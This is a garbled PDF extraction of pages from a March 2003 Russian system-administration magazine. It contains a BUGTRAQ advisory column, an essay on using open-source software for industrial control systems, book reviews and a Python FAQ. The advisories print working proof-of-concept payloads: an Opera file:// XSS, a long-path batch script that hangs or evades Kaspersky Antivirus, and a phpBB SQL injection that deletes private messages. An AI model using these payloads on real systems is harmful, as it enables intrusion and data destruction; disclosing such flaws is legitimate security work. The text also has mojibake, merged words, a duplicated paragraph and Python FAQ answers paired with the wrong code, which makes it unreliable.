* - áåç ó÷åòà ïîâòîðèòåëåé^ - îò ñåòåâîãî óñòðîéñòâà äî êîíöåíòðàòîðà/êîììóòàòîðà~ - ïîëóäóïëåêñíàÿ/ïîëíîäóïëåêñíàÿ ïåðåäà÷à.

Ðèñ. 11. Ôîðìàòû êàäðîâ.

Òàáëèöà 6. Ïîëÿ êàäðîâ.

� Функциональный адрес – применяется только в сетяхToken Ring. Используется для идентификации одногоили нескольких интерфейсов, предоставляющих те илииные сервисы. Например, адрес С000.0000.0001 ис-пользуется устройством, работающем в режиме Актив-ного Монитора.

Сетевое кадрированиеНиже приведены различные типы кадров:

Fast Ethernet и Gigabit EthernetЭти две технологии, появившиеся на основе Ethernet,позволяют достичь значительно более высоких скорос-тей передачи. Fast Ethernet находит свое применение внастольных системах, в то время как Gigabit Ethernetчаще используется для обеспечения связей между ком-мутаторами или серверами.

Fast Ethernet в значительной степени сохраняет чер-ты своего предшественника: используется метод дос-тупа CSMA/CD, который может быть упразднен при пол-нодуплексном режиме передачи. В настоящее время су-ществует несколько вариантов кабельных систем дляэтой технологии: экранированная и неэкранированнаявитая пара, многомодовое и одномодовое оптоволок-но. Кроме того, используются и концентраторы, и ком-мутаторы, хотя коммутаторы все сильнее вытесняютменее производительные концентраторы. Отличитель-ными от стандартного Ethernet особенностями являют-ся более высокая пропускная способность и возмож-ность автоматического выбора скорости – 10/100 Мб/си режима передачи – полнодуплексный/полудуплексныйрежимы.

Gigabit Ethernet также сохраняет черты своих болеемедленных предшественников, разве что использованиеконцентраторов для подобных сетей практически нон-сенс, несмотря на их наличие. Отличительными особен-ностями этой технологии являются также используемыекабели и методы кодирования передаваемых сигналов.

Список литературы.[1] Олифер, Олифер. Компьютерные сети. Принципы,технологии, протоколы: Учебник. – Питер – Санкт-Пе-тербург, 2001.[2] Odom. W. CCNA Exam 640-607 Certification Guide. –Cisco Press – Indianapolis, 2002.[3] Леинванд А., Пински Б. Конфигурирование марш-рутизаторов Cisco, / перевод с англ. Голубченко А.А. –2-е издание Вильямс – Москва, 2001.[4] Еланский. Д. Империя Cisco – Системный админис-тратор, №2, – Москва, 2003. – c. 16-19.[5] Lammle T. CCNA Study Guide.– 2nd Edition, SYBEX –San Francisco, 2000.

Page 91: 004 Системный Администратор 03 2003

Недостаток в обработке изображенийв Opera позволяет обращатьсяк локальным файламПри исследовании отображения браузером Opera отдель-ных изображений обнаружено, что Opera не выполняетформатирование представленного URL. Opera автомати-чески кодирует большинство символов в URL, но почему-то не кодирует URL к локальным файлам (file:// protocol) ипоэтому уязвима к канонической форме XSS:

И чтобы атакующему было проще эксплуатировать об-наруженную уязвимость, Opera обеспечила простой способобращения к собственному инсталляционному каталогу –file://localhost/. Так, вместо того, чтобы искать заданные поумолчанию изображения в OS, атакующий может просто со-слаться на file://localhost/images/file.gif – одно из немногихизображений, поставляемых с Opera по умолчанию, и на-слаждаться следующими возможностями:� Читать любой файл на системе пользователя.� Читать содержание каталогов на файловой системе

пользователя.� Читать почтовые сообщения, написанные в M2 – почто-

вой программе Opera.� И много чего еще.

Пример:

file://path/to/image.jpg?">Arbitrary HTML here

DoS против «Антивируса Касперского»Обнаружено несколько уязвимостей в «Антивирусе

Касперского», которые могут использоваться для DoS-атаки и обхода проверки злонамеренного кода.

Файловая система NTFS позволяет создавать пути по-чти неограниченной длины. Но Windows API не позволяетсоздавать пути длиннее 256 байтов. Чтобы обойти это огра-ничение, можно использовать в пути к файлу префикс ‘\\?\’ .Это документированная особенность Windows API. Путьдлиннее 256 символов приведет к зависанию KAV-службыили заставит ее потреблять 100% ресурсов CPU. Возможно,уязвимость может использоваться для выполнения произ-вольного кода. Длинный путь может также использоватьсядля обхода проверки антивирусом. Пример:

обратите внимание: SET A=A..A – одна строка!NTFS файл с именем aux.vbs или aux.com, содержа-

щий злонамеренный код, не будет проверен антивирусом.Уязвимость обнаружена в Kaspersky Antivirus 4.0.9.0 иболее ранних версиях.

open("file://localhost/images/file.gif?\"><script>alert(location.href);</script>","","");

A=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAmkdir \\?\c:\%A%mkdir \\?\c:\%A%\%A%mkdir \\?\c:\%A%\%A%\%A%mkdir \\?\c:\%A%\%A%\%A%\%A%mkdir \\?\c:\%A%\%A%\%A%\%A%\%A%mkdir \\?\c:\%A%\%A%\%A%\%A%\%A%\%A%echo X5O!P%%@AP[4\PZX54(P^^)7CC)7}$EICAR-STANDARD-

ANTIVIRUS-TEST-FILE!$H+H*>\\?\c:\%A%\%A%\%A%\%A%\%A%\%A%\%A%.com

SQL Injection в phpBBphpBB – популярная доска объявлений для UNIX- и Windows-систем. phpBB-пользователь может посылать приватные со-общения другим пользователям. Обнаруженная уязвимостьпозволяет пользователю удалить текст всех приватных со-общений, сохраненных в системе.

Функция для удаления приватных сообщений уязвимак SQL-инъекции. Если мы представляем данные, в кото-рых мы хотим удалить приватное сообщение с номером‘1) OR 1=1 #’, текст всех сообщений будет удален.

Сообщения хранятся в двух таблицах, и SQL-инъек-ция будет воздействовать только на одну из них, так чтобудут удалены все тела сообщений, а темы и метаданныебудут удалены, если они принадлежат текущему пользо-вателю. Это означает, что темы удаленных сообщений всееще можно обнаружить в папках других пользователей.Когда пользователь нажимает на такое удаленное сооб-щение, оно будет переадресовано назад к папке.

Вы можете эксплуатировать это, отправляя (POST) сле-дующее значение к privmsg.php?folder=inbox*sid = [SID]:

Текущее значение SID можно увидеть в URL-полях,если вы вошли в систему с отключенными куки.

Уязвимость обнаружена в phpBB 2.0.3 и более ранниеверсии. Уязвимость устранена в phpBB 2.0.4.

mode="" delete="true" mark[]="1) OR 1=1 #" confirm="Yes"

Авторизованный доступв Macromedia ColdFusion MXУязвимость конфигурации обнаружена в Macromedia’sColdFusion MX. Удаленному авторизованному пользовате-лю могут неправильно предоставить доступ к файлам в не-которых конфигурациях, использующих NT-идентификацию.

Согласно сообщению, когда ColdFusion MX использу-ется совместно с Microsoft IIS, Windows NT Authenticationи NTFS file permissions, необходимо конфигурировать IIS,чтобы проверять разрешения файлов перед прохождени-ем запроса к ColdFusionMX. Если это не конфигурирова-но, то удаленный заверенный пользователь может полу-чить неавторизованный доступ к ColdFusion-шаблонам икаталогам. Уязвимость обнаружена в ColdFusion MX.

Переполнение буфера в Locator serviceв Microsoft Windows 4.0/2000/XPMicrosoft Locator service – служба имен, которая позволя-ет пользователю найти в корпоративной сети других ак-тивных пользователей. Сервис поставляется с WindowsNT 4.0, Windows 2000 и Windows XP. По умолчанию служ-ба Locator включена только на контроллерах доменаWindows 2000 и Windows NT 4.0. В Locator service обнару-жена возможность удаленного переполнения буфера.Посылая специально сформированный запрос с Locatorservice, атакующий может аварийно завершить работуслужбы или выполнить произвольный код с системнымипривилегиями. Уязвимость обнаружена в MicrosoftWindows NT 4.0, Windows 2000, Windows XP.

89№3(4), март 2003

BUGTRAQ

Page 92: 004 Системный Администратор 03 2003

ПОЧЕМУOPENSOURCE?(ТОЧКА ЗРЕНИЯ РАЗРАБОТЧИКА)

ВЛАДИМИР ПОПОВ

Движение OpenSource (под движением в данном случае понимается деятельность не толькоOpenSourceFoundation, но и всех ее сторонников и «идеологических» союзников) в настоящеевремя носит уже столь массовый характер, что не замечать его просто невозможно. Перспективаиспользования «свободного» ПО возникла и перед коллективом, на протяжении многих летзанимающимся разработкой и эксплуатацией АСУТП в аэрокосмической области. Размышлениями,результатами и приобретенным в ходе первой попытки использования свободного ПО опытом мыхотим поделиться. Итак, по порядку...

Движение OpenSource (под движением в данном случае понимается деятельность не толькоOpenSourceFoundation, но и всех ее сторонников и «идеологических» союзников) в настоящеевремя носит уже столь массовый характер, что не замечать его просто невозможно. Перспективаиспользования «свободного» ПО возникла и перед коллективом, на протяжении многих летзанимающимся разработкой и эксплуатацией АСУТП в аэрокосмической области. Размышлениями,результатами и приобретенным в ходе первой попытки использования свободного ПО опытом мыхотим поделиться. Итак, по порядку...

Page 93: 004 Системный Администратор 03 2003

91№3(4), март 2003

IMHO

ЦенаДа, господа. Время изменилось, иразработка начинается с экономи-ческого планирования. АСУТП, к со-жалению, не бывают бесплатными,да и просто дешевыми. Для управ-ления технологическим процессомобязательно потребуются УСО (уст-ройства связи с объектом) и, какправило, технологические компью-теры, отличающиеся от ставших ужевсем привычными персоналок мно-гим, что потребовалось для дости-жения большей надежности, и, ко-нечно, ценой. За эти компонентысистемы придется платить вне зави-симости от того, являетесь вы при-верженцем Microsoft или Linux, норазница обнаруживается уже здесь:довольно часто одни и те же пакетыдля разных платформ имеют разнуюцену, и почему-то для Windows NTстоят дороже. Оставим это на сове-сти фирм-разработчиков этих паке-тов... Перейдем от ПО специально-го к ПО широкого назначения, кото-рое в состав комплекса тоже входит,если входят в его состав компьюте-ры широкого назначения, а это, какправило, так. Здесь, конечно, пре-имущество за свободным ПО: оно«почти» бесплатно. Надо сказать,что речь идет о суммах не столь ужмалых: не Windows-98 придется по-купать, а средства разработки. Сле-дующее, что нужно учесть при рас-смотрении экономического аспектапроекта, – это зарплата программи-стов, то есть непосредственных ис-полнителей. Отметим только, чтозатраты по этой статье не зависятот того, для какой операционнойсреды и какими средствами работа-ют эти самые программисты. Ска-занное справедливо, по крайнеймере, для организаций бюджетныхили лишь недавно утративших свойгосударственный статус. И после-днее по поводу финансов. Все выше-сказанное – попытка оценить себес-тоимость, основную составляющуюцены, за которую созданный продуктможет быть продан. Цена же – ору-жие в конкурентной борьбе, и ненужно от этого отмахиваться: занят-но было видеть, как реагировалпартнер «с востока», когда узнал,что при исполнении проекта на Linuxнеобходимый SCADA-пакет обой-

дется ему в полтора раза дешевле,а для рабочих станций Windows-2000 вообще покупать не нужно.Далее...

МоральА может, обойдемся без покупки ли-цензионного ПО? Как раньше?... Вотоб этом пришлось забыть сразу понескольким причинам. Во-первых,уровень открытости таков, что оче-редной гость может оказаться и пред-ставителем почтенной Microsoft – вотнеловко-то будет... Во-вторых, пото-му что сделанное даже для себя –все-таки товар, и продать его – меч-та любого разработчика, а в такойситуации использование «пиратско-го» ПО уже не просто неэтично – не-допустимо. В-третьих, стоимостьэтого ПО в составе комплекса все-таки не является определяющей:чтобы оно не оказалось «ложкойдегтя», отбросим сомнения: востор-ги по поводу «доступности» коммер-ческого ПО на просторах пост-СССРоставим старшеклассникам и поста-раемся «играть» по общепринятымв мире правилам, хотя бы в областисобственных разработок. А на офис-ные компьютеры глаза закроем, бу-дем полагать: пока. Да и не толькоморальный аспект следует прини-мать во внимание, предполагая ис-пользование нелицензированногоПО: 400 млн.долларов прямых убыт-ков Украины после введения санк-ций за нарушение прав интеллекту-альной собственности впечатляют.Итак, размышления для нас закон-чились тем, что, по крайней мере,оценить возможность использованиясвободного ПО при создании задуман-ного комплекса – стоит. Приступим...

Первые впечатления.ВозможностиПо-прежнему предметом изложениябудет только личный опыт. Для нача-ла можно отметить одно обстоятель-ство: в ОС для технологических ком-пьютеров отчего-то легче угадывает-ся родство с Unix-клоном, нежели сMicrosoft Windows. Удивительного вэтом ничего нет, если принять во вни-мание историю развития вычисли-тельной техники последних 20-ти лет,но для «неофитов» от Microsoft можетпоказаться странным, что OS9000 для

PowerPC имеет больше общего с Unix,чем с MSDOS. Другими словами,стремление сузить количество ис-пользуемых операционных систем«подталкивает» скорее к Unix, неже-ли к Microsoft Windows.

Во-первых, нам предстояло выб-рать ОС для рабочих станций. Вы-бор, как выяснилось, достаточноширок: Linux, FreeBSD и т. д. Все на-званные ОС, как и их антиподы измира коммерческого ПО, являютсяОС общего назначения. На другоемы, собственно, и не рассчитывали,но было приятной неожиданностьюузнать, что лидер по популярностисреди свободных ОС – Linux – име-ет как минимум две реализации,ориентированные на работу в усло-виях реального времени: RT Linux иKURT. Функционально аналогичныерасширения существуют и дляWindows NT, но... не бесплатные, каквы уже догадались. Но это к слову:наши требования к ОС для рабочихстанций не выходили за пределывозможностей любой из названныхОС. Быть может, чуть заманчивеевыглядел Linux: чего только на немне делают... И роботы, и PDA, и ком-муникационное оборудование... Ипочти все это можно посмотреть...Заманчиво. Пробуем Linux!

Прежде всего нас интересоваликоммуникационные возможности.Как и следовало ожидать, все сете-вые средства Unix оказались в на-шем распоряжении. А средства этимногого стоят. Несмотря на все ста-рания Microsoft связать свое имя ссетями, у специалистов последниеассоциируются все-таки скорее сUnix. Достаточно вспомнить попыт-ки противостояния Microsof tNet-Internet, NetBEAU-TCP/IP, и можносмело предположить, что на комму-никационные средства Unix поло-житься можно. Что мы и сделаем.

Далее для нашего комплексанужна была сетевая СУБД: не слиш-ком сложная (откуда сложные зап-росы в АСУТП?), хорошо адаптиро-ванная к использованию в сети и сминимальным временем обработкизапросов. Вряд ли хорошим канди-датом на эту роль можно считатьMicrosoft SQL: довольно высокиеаппаратные требования, абсолют-ные требования к платформе серве-

Page 94: 004 Системный Администратор 03 2003

92

IMHO

ра, неважные отзывы о скоростныххарактеристиках. Что же касаетсявизуальных средств генерации форми запросов, то почему-то они нас незаинтересовали. Лидер рынка,Oracle, также не стал нашим выбо-ром, хотя его SQL-сервер уже готовбыл работать на любой платформе,включая Linux. Не оставляло ощуще-ние, что мы будем «стрелять из пуш-ки по воробьям». Среди представи-телей свободного ПО наше внима-ние привлек MySQL. Скромные раз-меры, популярность в качестве SQL-сервера в Интернет, работает навсех платформах. Даже недостаткиего в нашем случае выглядели дос-тоинствами: неумение работать стак называемыми record-set-ами,как и некоторые другие «изъяны»,оказались нам совершенно не нуж-ны: высокая реактивность и компак-тность, которые вряд ли бы выигра-ли от расширения возможностейсервера, для нас были значительноважнее. Открытый код позволяетнаписать интерфейс к этой СУБДпрактически для любой вычисли-тельной системы, в которой есть С-компилятор и которая умеет рабо-тать с TCP-сокетами (обязательносделаем это для OS9000). Популяр-ность в Интернете сделала своедело: на www.mysql.com, кроме APIдля ansi «C», написанного разработ-чиками самого сервера, можно об-наружить API для «С++», Java, а дляPerl – даже несколько, с разнымискоростными характеристиками, на-писанными независимыми разра-ботчиками. Масса средств редакти-рования и администрирования: отконсольных, принадлежащих перуавторов, до графических для любыхплатформ, включая Microsof tWindows. Есть и средства доступачерез веб-интерфейс (как раз этомы предполагали разработать дляудаленного контроля с компьютеров,не являющихся частью сетевого сег-мента комплекса). Одним словом,«глаза разбегаются». Пожалуй, иэтот выбор мы сделали.

Наверное, можно было бы и нерассказывать, что когда нам потре-бовался http-сервер для организа-ции удаленного администрированиячерез веб-интерфейс, мы использо-вали Apache – самый популярный

http-сервер в Интернете. Хотя про-бовали и thttpd, заинтересовавшисьего скоростными возможностями:действительно – быстро. Только ког-да дошло до вывода таблиц объе-мом в сотни килобайт, что-то нашthttpd «засбоил» и, не желая терятьвремя на выяснение в общем-то вто-ростепенных для нас деталей, мывернулись к Apache.

Теперь предстояло определитьсясо средствами реализации графи-ческого интерфейса АРМ рабочихстанций. И здесь свободное ПО ока-залось на высоте. XFree86 если иуступает MS Windows, то только вскорости графического вывода и ко-личестве поддерживаемых видео-карт. Что касается второго, то дей-ствия производителей видеоадапте-ров, снабжающих свои изделияпрежде всего драйверами для самойраспространенной ОС для дескто-пов, естественны. Что же до скоро-сти, то сравнение несколько некор-ректно: сравнивать нужно исклю-чительно с Windows NT, а еще точ-нее – с ее терминальным сервером,поскольку XFree86 – сервер, дей-ствительно способный обслуживатьсразу несколько клиентов: дескто-пов или сетевых станций. Признать-ся, мы были приятно удивлены. Во-первых, количеством доступныхоконных менеджеров (а именно ониопределяют вид и возможности дес-ктопов в X-Window), во-вторых, ихкачеством (очень трудно найти воз-можности, которые имели быMicrosoft Windows, но не имели быпоследние версии KDE или Gnome,зато обратное возможно, и это,прежде всего, возможности на-стройки), в-третьих, количествомтак называемых «тем» (сам менед-жер обычно определяет возможно-сти десктопа, внешний же вид – фун-кция темы). Однако мы увлеклись:для нашей задачи нас интересова-ли практически только возможнос-ти настройки поведения окон и сис-темы управления (меню, инструмен-тальные панели и т. п.). Здесь мы ос-тановили свой выбор на IceWM: од-ном из самых «аскетичных», но в тоже время быстрых и надежных окон-ных менеджеров. Большего, при-знаться, мы не могли желать: боль-шинство из известных вариантов по-

ведения окон («всплывание», «скры-вание», вывод на «передний план»,«активность» в зависимости от по-ложения указателя мыши или кли-ков (разными бутонами и разное ко-личество раз), или действий прило-жения); поддержка трех бутоновмыши, «колесика» (scroll); множе-ство десктопов; абсолютно настра-иваемые меню и инструментальнаяпанель. На последнем хочется оста-новиться подробнее: фактически,мы получили заготовку для «заглав-ного» окна нашего АРМ, посколькуни единого элемента, заданного ненами на экране, просто не было. Бо-лее того, пользователь оказалсяпрактически лишен возможности из-менить настройки десктопа или вы-полнить команду, кроме тех, кото-рые предлагает ему АРМ. Наверное,кому-то такой подход к пользовате-лю покажется «иезуитским», но по-верьте: ограничение возможностиошибки оператора весьма и весьманасущная задача для АСУ. Похоже,все необходимое мы нашли. Можнобыло переходить к реализации, чтои было сделано.

РаботаПрежде всего мы определились сосредствами программирования: в на-шем распоряжении были С, С++ иPerl. Конечная реализация на C/C++сомнениям в общем-то не подверга-лась, а вот «макетирование» с ис-пользованием Perl интересно былопопробовать.

Впервые в наших руках был ин-терпретатор, имеющий доступ прак-тически ко всем возможностям ОС,допускающий объектную ориента-цию и довольно близкий по синтак-сису к С. Коммуникационные, впро-чем, и все другие возможности ОСдоступны из Perl через общие с Сбиблиотеки. API к MySQL – анало-гичны. Что же касается графическихбиблиотек Tk и Gtk (мы использова-ли только эти), то модуль Gtk-Perlделает возможными обращения ксобственно объектной библиотекеGtk, а модуль Perl-Tk имеет дажесобственные расширения этой весь-ма популярной в мире Unix-графи-ческой библиотеки. Одним словом,все необходимое было налицо и мыне обманулись в своих ожиданиях.

Page 95: 004 Системный Администратор 03 2003

93№3(4), март 2003

IMHO

Справедливости ради нужно ска-зать, что среди средств разработкипод Linux существуют интегрирован-ные среды, ставшие привычными впоследнее десятилетие стараниями,прежде всего, Borland и Microsoft,однако мы их пока не использова-ли, поэтому и не упоминаем. А вотнекоторые другие моменты упомя-нуть необходимо.

Во-первых, это вопрос докумен-тации. Слухи об исчерпывающей до-кументированности Linux не оказа-лись преувеличением. Скорее на-оборот: документации слишком мно-го, что не облегчает поиск. Беда втом, что желающих написать и опуб-ликовать в Сети тот или иной доку-мент оказывается больше, чем же-лающих изъять устаревший, непол-ный или уже неактуальный более (всилу появления новых) документ.Тем более, что это все-таки преро-гатива автора, который, не исклю-чено, на настоящий момент уже изабыл о собственном детище. Из-держки свободы? Возможно, но этовсе-таки лучше, чем отсутствие до-кументации. Можно возразить, чтоMSDN – тоже весьма обширный ис-точник информации, но различие винформации о том, «какие API-вы-зовы нужно использовать» и «какименно реализована эта функция ипочему ее лучше использоватьименно так» все-таки заметны. Оцене «Microsoft Developer NetworkLibrary» я вообще умолчу...

Во-вторых, безусловно, приятноощущать дух сотрудничества, всегдаприсутствующий в общении разра-ботчиков OpenSource. Благодар-ность предшественникам, присут-ствующая в любом readme, сопро-вождающем пакет свободного ПО, нетолько «хороший тон» – это, как пра-вило, благодарность искренняя и не-безосновательная. CPAN, freshmeat,SourceForge – прекрасные иллюстра-ции этому. Буквально «горы» ПО соткрытым исходным кодом, отсорти-рованные, часто прекрасно докумен-тированные и буквально «пропитан-ные» духом сотрудничества.

В-третьих, часто, хотя, наверное,не всегда, это высокий профессио-нализм. Представить свой код навсеобщее рассмотрение можно илибудучи вполне уверенным в его до-

стоинствах, или не отдавая себе от-чет в собственной некомпетентнос-ти. Второе, конечно, не исключает-ся, но все-таки, скорее, исключение,чем правило: что-то я не слышал опрограммистах-графоманах.

Наверняка, наше знакомство сосредствами разработки, являющи-мися ПО с открытым кодом, не по-зволяет судить о состоянии этогосектора индустрии «в целом», но по-нравившиеся продукты хочется на-звать. Это прекрасные компиляторыgnu C и C++; поражающий своейпродуманностью и модифицируемо-стью редактор vim; интерпретатор,способный соперничать в скоростис откомпилированными задачами, –Perl; охватывающая, кажется, всевозможности программирования вграфической среде библиотека Tk,и изысканная, даже авангарднаяGtk. Мы не перечисляем «исконные»программы Unix, такие как grep илиdiff, поскольку они не являются час-тью исключительно свободного ПО,но признаем, что наличие этих про-грамм в свободных ОС, безусловно,их сильная сторона.

РезультатКак, собственно, следует из изложе-ния, он положителен. Мы считаем

опыт использования свободного ПОдля разработки комплексов АСУТПудавшимся.

Последняя особенность, которуюмы вполне оценили только на пос-леднем этапе – это командный язык,позволивший посредством созданияочень простых командных файловобъединить независимые части ком-плекса, скрыть от оператора слож-ность некоторых действий, а привя-зав эти файлы к процессу загрузкии используя возможности демоновпериодического запуска, мы прида-ли системе иллюзию «автоматично-сти». Эти возможности опять-такине являются прерогативой Linux исвободных ОС вообще: все это дос-тоинства Unix, но не остановись мына Linux, эти достоинства так и ос-тались бы для нас известными толь-ко понаслышке.

Одним словом, так как когда-томы перешли от RSX и RT к продук-там Microsoft, так сейчас склоннырасстаться с последними в пользусвободного ПО. Тому много основа-ний: экономических и идеологичес-ких, политических и технических, ниодно из которых не является, прав-да, определяющим. Но попробоватьстоит.

У нас получилось.

Page 96: 004 Системный Администратор 03 2003

94

книжная полка

Книга посвящена опера-ционной системе Linux.Приводятся подробныесведения о ее особеннос-тях и возможностях, иде-ологии файловой систе-мы, инсталляции и основ-ных командах, вопросахкомпиляции ядра, на-стройках и сервисах.

Большое вниманиеуделяется организации набазе Linux различных сер-веров и служб: электрон-ной почты, WWW, FTP,INN, Proxy, NTP, а также

проблемам администрирования сети, обеспечения безопас-ной работы и пр. Описаны способы настройки под Linuxрабочих станций, в т. ч. и бездисковых, установки и эксп-луатации на них графических сред типа X Window, а такжеконфигурирование модемных соединений, принтеров и ска-неров, отладка взаимодействия с Linux-машинами такой“экзотической“ периферии, как карманные компьютеры, мо-бильные телефоны, TV-тюнеры и т. п. Рассматриваемые вкниге конфигурационные файлы и структура каталогов со-ответствуют дистрибутиву Red Hat Linux 7.x, тем не менее,при минимальной адаптации все упоминаемые в книге па-кеты устанавливаются в любом дистрибутиве Linux.

ISBN 5-94157-146-1, 888 стр.

Книга известного экспер-та по сетевым технологи-ям, автора и редакторамногих публикаций К.За-кера представляет собойполное руководство по со-зданию, конфигурирова-нию и обслуживанию ло-кальных сетей. Подробнорассматриваются особен-ности применения аппа-ратногои программногообеспечения, возможнос-ти различных версий сете-вых операционных системWindows, Novell NetWare,

UNIX и их компонентов, проводится детальный разборпрактически всех используемых ныне технологий и ком-муникационных протоколов, таких как Ethernet и TokenRing, от стандартов ранних версий до современных. Кни-га содержит обзор популярных технических и программ-ных решений для WWW, затрагивает взаимодействие ло-кальных и глобальных сетей на всех уровнях. Также осве-щаются вопросы функционирования различных сетевыхслужб и сервисов (DNS, WINS, DНСР). Дается множествополезных рекомендаций, которые будут интересны какпрофессионалам, так и новичкам. Для сетевых админис-траторов и проектировщиков сетей.

ISBN 0-07-212256-0, 5-94157-042-2, 1008 стр.

Во втором, улучшенном иобновленном издании кни-ги, посвященной новой тех-нологии информационнойбезопасности – обнаруже-нию атак, систематизируют-ся разрозненные данные оприемах совершения атак,исследуются различныекритерии атак и признакиих обнаружения, источникиинформации об атаках иметоды их анализа. Приве-дена подробная классифи-кация систем обнаруженияатак с примерами конкрет-

ных отечественных и зарубежных решений. Рассматривают-ся критерии выбора систем обнаружения атак для различныхгрупп потребителей, имеющих разные приоритеты при пост-роении инфраструктуры обнаружения атак. Большое внима-ние уделено практике эксплуатации систем обнаружения атак,включая вопросы их установки и размещения. Впервые све-дены воедино и описаны недостатки существующих средствобнаружения атак и способы их преодоления.

ISBN 5-94157-246-8, 608 стр

В книге обсуждаютсявопросы профессиональ-ной разработки приложе-ний в Borland Delphi 7 иособое внимание уделя-ется практике програм-мирования.

Представлено де-тальное описание объек-тной концепции, стан-дартных и программныхтехнологий, используе-мых при работе програм-мистов.

Значительная частьматериала посвящена

разработке приложений, базирующихся на широко ис-пользуемых и перспективных технологиях доступа кданным: ADO, dbExpress, InterBase Express.

Распределенным многозвенным приложениям и тех-нологии DataSnap также отведено достойное место. Всерассматриваемые в этой книге темы сопровождаютсяподробными примерами, которые помогут быстро ос-воить данный этот язык программирования.

ISBN 5-94157-116-Х 784 стр.

Page 97: 004 Системный Администратор 03 2003

95№3(4), март 2003

FAQ Python

Подпискана 2-еполугодие2003 года

Единыйподписнойиндекс:

81655по каталогуагентства«Роспечать»

Рады видетьВас нашимичитателями!

ВОПРОС:Мне нужно использовать библиотеку xyz в програм-

ме на Python, что делать?

ОТВЕТ:Во-первых, нужно поискать в WWW (например, на

http://google.com), не написал ли кто-нибудь привязкуxyz к Python. Если поиски не дали результата, можно по-пробовать инструменты для полуавтоматической привяз-ки библиотек: SWIG для C/C++ или Boost C++. Созданиемодулей расширения подробно описано в документациипо Python, см. http://python.org/doc/current/api/api.html.

Если вы используете Jython, а библиотека написанана Java, ее классы можно просто импортировать изJython, так как Jython прозрачно интегрирован с Java.

ВОПРОС:Как программа на Python может загрузить заданный

URL?

ОТВЕТ:Например, так:

def f(x): #{ if x >= 0: return x else: return -x #}

def f(x): if x >= 0: return x else: return -x #end if#end def

ВОПРОС:В Python начало и конец блока кода обозначаются от-

ступом. А почему бы не отмечать их явно, например, спомощью BEGIN и END, как в Паскале, или скобок { и },как в C?

ОТВЕТ:К обязательности отступов в Python очень быстро при-

выкаешь. Однако если уж так хочется явно обозначатьконец блока, это можно сделать, например, так:

Здесь используется тот факт, что интерпретаторPython игнорирует все, что следует за решеткой (при-знаком комментария).

Для тех, кто любит лишние скобки:

def f(x): #{ if x >= 0: return x else: return -x #}

ВОПРОС:Как программа на Python может загрузить заданный URL?

ОТВЕТ:Например, так:import urllib page = urllib.urlopen(«http://

www.onego.ru»).read()

81655

81655

Составил Роман Сузи

Page 98: 004 Системный Администратор 03 2003

96

СИСТЕМНЫЙ АДМИНИСТРАТОР№ 3(4), Март, 2003 год

РЕДАКЦИЯ

Исполнительный директорВладимир Положевец

Ответственный секретарьНаталья Хвостова[email protected]

Технический редакторВладимир Лукин

РЕКЛАМНАЯ СЛУЖБАтел.:(095)928-8253 (доб. 112)факс:(095)928-8253Константин Меделян[email protected]

Верстка и оформление[email protected][email protected]

103012, г. Москва,Ветошный переулок, дом 13/15тел.: (095) 928-8253 (доб. 112)факс: (095) 928-8253Е-mail: [email protected]: www.samag.ru

РУКОВОДИТЕЛЬ ПРОЕКТАПетр Положевец

УЧРЕДИТЕЛИВладимир ПоложевецАлександр Михалев

ИЗДАТЕЛЬЗАО «Издательский дом«Учительская газета»

Отпечатано типографиейООО «Мастер Печати»Тираж 5000 экз.

Журнал зарегистрированв Министерстве РФ по делам печати,телерадиовещания и средств мас-совых коммуникаций (свидетельствоПИ № 77-12542 от 24 апреля 2002г.)

За содержание статьи ответственностьнесет автор. За содержание рекламно-го обьявления ответственность несетрекламодатель. Все права на опубли-кованные материалы защищены. Ре-дакция оставляет за собой право изме-нять содержание следующих номеров.

ЧИТАЙТЕВ СЛЕДУЮЩЕМНОМЕРЕ:

ЧИТАЙТЕВ СЛЕДУЮЩЕМНОМЕРЕ:

Установка и настройкасервера Jabber наплатформе LinuxЧто же такое Jabber? Это открытыйXML-протокол, предназначенный длямгновенного обмена сообщениямимежду узлами в Интернете.

Коротко перечислю основныепреимущества Jabber:� Открытый протокол: над развити-

ем Jabber работает большое коли-чество людей, доступны различ-ные реализации и библиотеки. Всеспецификации и документация на-ходятся в свободном доступе;

� Поддержка unicode. Для нас этоозначает отсутствие проблем,связанных с различными кодиров-ками русского языка.

Абсолютно все о ATMТехнология асинхронного режима пе-редачи (Asynchronous Transfer Mode,ATM) разработана как единый универ-сальный транспорт для нового поколе-ния сетей с интеграцией услуг, кото-рые называются широкополосными се-тями ISDN (Broadband-ISDN, B-ISDN).

По планам разработчиков единооб-разие, обеспечиваемое ATM, будетсостоять в том, что одна транспортнаятехнология сможет обеспечить не-сколько перечисленных ниже возмож-ностей, то есть подразумевалось сде-лать эту технологию универсальной.

RADIUSRADIUS (Remote Authentication Dial InUser Service) служит для аутентифи-кации телефонных линий, что видноиз названия. Обычно radius использу-ется маршрутизаторами Сisco дляорганизации модемных линий. Есликто интересуется, чем же таким при-мечателен radius, то отвечу: протоколradius, с моей точки зрения, являетсялогическим продолжением традицийtacacs-сервера, но он поддерживаетбольше возможностей и организованнамного лучше. Особенно мне понра-вилась возможность проверки раз-личных NAS по ключу и IP-адресу.Сервер freeradius особенно меня по-радовал тем, что он содержит значи-тельное количество модулей аутенти-фикации (например: sql, ldap, unix-passwd, samba-passwd). Огорчаеттолько относительная молодость про-токола, отсутствие качественной до-кументации по бесплатным серверам,отсутствие поддержки протокола ста-рыми NAS. Последний пункт меня осо-бенно опечалил: мои любимые комму-таторы Cisco Catalyst, что прекрасноработали с tacacs-сервером, наотрезотказались от работы с radius. Но впоследних моделях Cisco и многиедругие производители NAS поддержи-вают radius.

Разводной мост на Linux(Bridging Firewalls)Для подключения телекоммуникаци-онных сетей к Интернету провайдерна целую сеть выделяет обычно все-го лишь один реальный IP-адрес, адалее вы организуете у себя компь-ютер-шлюз, за которым располага-ете вашу сетку с адресами вида192.168.x.x (либо 172.16.0.0/12, либо10.0.0.0/8) из RFC 1918.

